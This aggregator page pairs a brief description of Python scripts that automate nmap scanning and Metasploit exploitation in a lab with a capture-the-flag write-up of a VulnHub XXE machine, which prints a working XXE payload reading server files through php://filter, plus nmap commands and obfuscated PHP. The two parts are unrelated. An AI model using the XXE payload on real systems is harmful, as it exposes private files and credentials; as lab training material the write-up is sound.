Python网络编程11-实现自动化漏洞探测
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python网络编程11-实现自动化漏洞探测相关的知识,希望对你有一定的参考价值。
参考技术A 本文主要实现了对网络中主机的自动化扫扫描,然后对存活的主机进行漏洞探测。在Kali Linux 2020上运行python脚本,网络中部署一台Metasploitable2作为靶机测试。
通过nmap_test.py实现对网络中存活的主机进行扫描,之后再进行主机端口、系统的探测。
通过pymsf.py调用kali中的metasploit来进行主机漏洞的探测。
通过main.py,调用nmap_test.py,pymsf.py实现主机探测,端口探测,漏洞渗透。
运行main脚本效果如下,在输入需要扫描的网段之后,自动开始主机探测并打印出存活的主机,完成后执行端口探测与系统探测并打印出每台主机开放的端口及端口运行的服务和主机运行的系统;最后选择可能存在的漏洞的服务进行漏洞渗透获取到Shell。
参考: GitHub - DanMcInerney/pymetasploit3: Automation library for Metasploit
XXE 漏洞实战
XXE 漏洞实战
补充知识
namp使用
特点
- 主机探测:探测网络上的主机,如列出响应TCP,ICMP请求,开放特别端口的主机
- 端口扫描: 探测目标主机所开放的端口
- 版本探测:探测目标主机的网络服务,其服务名称及版本号
常用命令
- nmap -sP 192.168.0.1/24 扫描目标地址所在的C段在线情况
- nmap -O 识别目标地址的操作系统
- nmap -sV 检测目标地址开放的端口对应的服务版本信息
- nmap sn 检测主机,不进行端口扫描
- 扫描某一目标地址的端口 nmap 地址 -p 21,22
安装
www.vulnhub.com
搜索xxe 虚拟机直接打开导入即可
实战
打开之后是这样的
先用nmap 一下扫出 地址
nmap -sn 命令
扫除地址
习惯性查看 robots.txt
当然用dirsearch 扫也可以
接着访问xxe 得到一个登录地址
抓一下包 得到 xml 数据 这里说一下xml是传输和存储数据用的而xxe是xml产生的漏洞
我们将漏洞语句尝试插入
尝试利用协议读文件绕过 这样的话就不用考虑路径了 直接读
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe.php">]>
<root><name>&xxe;</name><password>123</password></root>
得到base64码 解得
读admin.php 为发现 用户名密码
md5解得 密码为 admin@123
这里得到的是 是xxe 目录下的admin.php 文件 所以url要注意
输入后登录成功
点flag 后却没有反应
得到了url地址 http://192.168.43.58/flagmeout.php 所以可尝试重新在 根目录下读取源文件
只需要改成./flagmeout.php
得到
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
继续base32解密读
得到 /etc/.flag.php
最终得到
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
在线php 运行得到flag
以上是关于Python网络编程11-实现自动化漏洞探测的主要内容,如果未能解决你的问题,请参考以下文章
2017-2018-2 20179209《网络攻防》第五周作业